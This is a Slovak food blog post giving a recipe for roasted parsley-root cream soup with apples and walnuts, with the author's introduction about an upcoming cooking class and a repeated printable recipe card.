V tomto zimnom období by sme si mali dopriať čo najviac jedál, ktoré nás zahrejú. Podľa mňa sú takýmto jedlom najmä polievky. Keď som bola mladšia, nadšencom polievok som zrovna nebola.. Keď tak som mala rada tie krémové alebo prívarky. Tie boli však často plné smotany alebo záprašok. Keď som však začala variť “podľa seba”, objavila som čaro hustých zeleninových krémov. Takých, ktoré nepotrebujú kopec smotany či záprašku na zahustenie. Jednoducho treba použiť väčší podiel zeleniny. Medzi moje naobľúbenejšie patrí samorejme thajský hokkaido krém, a ďalej mrkvovo-zázvorový, hráškovo-mätový a brokolicový <3.

IMG_4100

S “krémovým” petržlenom som sa prvý krát stretla ako s prílohou vo forme pyré. V podstate jediný rozdiel je ten, že do pyré sa dáva ešte menej vody :). Táto polievka je iná v tom, že petržlen sa pred dusením pečie. Takto totiž získa neodolateľne sladkú chuť. Skombinovaný je s kyslým jablkom, ktorý dodá polievke potrebné vyváženie chuti :). Doplnená je o posýpku z pečeného petržlenu, chrumkavých jabĺk a orechov, a nakrájanú vňať.

IMG_4106

Presne túto polievku budem v sobotu pripravovať v mojom milovanom Fresh Markete :). Veľmi sa teším, že mám konečne možnosť variť takto “verejne” pre väčšie množstvo ľudí. A že to bude dokonca vo forme “školy varenia”. Pre mňa je odovdávanie mojich znalostí ľuďom asi najväčšia radosť, takže sa ozaj neviem dočkať. Možno bude z tohto podujatia aj nejaký záznam, tak ten Vám keď tak ukážem vo forme videa. Možno práve to bude začiatkom video receptov, ktoré by sa onedlho mali stať realitou a pravidelnou súčasťou tohto blogu :).

Ingrediencie: (na 4-5 porcií)

  • 1 veľká cibuľa
  • 2 strúčiky cesnaku
  • 2 jablká (najlepšie kyslejšie, napr. granny smith)
  • 500g petržlenu
  • 50g masla
  • 2lyžice olivového oleja
  • Soľ, korenie podľa chuti
  • Hrsť pražených vlašských orechov
  • Petržlenová vňať
  • Šťava z ½ citrónu alebo limetky
  • 2-3hrnčeky vody alebo zeleninového vývaru

Postup:

  1. Petržlen si umyjeme a ošúpeme. Nakrájame na väčšie časti.
  2. Poukladáme na papier na pečenie, osolíme a okoreníme. Pokvapkáme olivovým olejom.
  3. Takto pečieme na 190°C cca 30minút (do zmäknutia).
  4. Medzitým si nakrájame cibuľu, cesnak a jedno ošúpané jablko na jemno.
  5. Cibuľku a cesnak podusíme na olivovom oleji asi 5minút a pridáme nakrájané jablko. Ďalej dusíme.
  6. Keď sa nám dopečie petržlen, pridáme ho do hrnca (pár kúskov dáme stranou). Podlejeme vodou alebo vývarom. Osolíme a okoreníme.
  7. Dusíme do úplneho zmäknutia petržlenu. Potom polievku rozmixujeme v stolnom mixéri na krém. Podľa potreby a preferencie pridáme vodu. Opäť dochutíme soľou a korením. Opäť privedieme do varu a zjemníme krém maslom.
  8. Nakoniec si nakrájame druhé jabĺčko a kúsky petržlenu na tenké pásiky a pridáme citrónovú šťavu. Zmiešame s nasekanými orechami a vňaťkou.
  9. Krém naservírujeme na tanier alebo do misky a posypeme jabĺčkovo-orechovou zmesou.
  10. Prajem dobrú chuť.

IMG_4102

Print
Petržlenový krém s jablkami

Petržlenový krém s jablkami

Ingredients

  • 1 veľká cibuľa
  • 2 strúčiky cesnaku
  • 2 jablká (najlepšie kyslejšie, napr. granny smith)
  • 500g petržlenu
  • 50g masla
  • 2lyžice olivového oleja
  • Soľ, korenie podľa chuti
  • Hrsť pražených vlašských orechov
  • Petržlenová vňať
  • Šťava z ½ citrónu alebo limetky
  • 2-3hrnčeky vody alebo zeleninového vývaru

Instructions

  1. Petržlen si umyjeme a ošúpeme. Nakrájame na väčšie časti.
  2. Poukladáme na papier na pečenie, osolíme a okoreníme. Pokvapkáme olivovým olejom.
  3. Takto pečieme na 190°C cca 30minút (do zmäknutia).
  4. Medzitým si nakrájame cibuľu, cesnak a jedno ošúpané jablko na jemno.
  5. Cibuľku a cesnak podusíme na olivovom oleji asi 5minút a pridáme nakrájané jablko. Ďalej dusíme.
  6. Keď sa nám dopečie petržlen, pridáme ho do hrnca (pár kúskov dáme stranou). Podlejeme vodou alebo vývarom. Osolíme a okoreníme.
  7. Dusíme do úplneho zmäknutia petržlenu. Potom polievku rozmixujeme v stolnom mixéri na krém. Podľa potreby a preferencie pridáme vodu. Opäť dochutíme soľou a korením. Opäť privedieme do varu a zjemníme krém maslom.
  8. Nakoniec si nakrájame druhé jabĺčko a kúsky petržlenu na tenké pásiky a pridáme citrónovú šťavu. Zmiešame s nasekanými orechami a vňaťkou.
  9. Krém naservírujeme na tanier alebo do misky a posypeme jabĺčkovo-orechovou zmesou.
  10. Prajem dobrú chuť.
document.currentScript.parentNode.insertBefore(s, document.currentScript);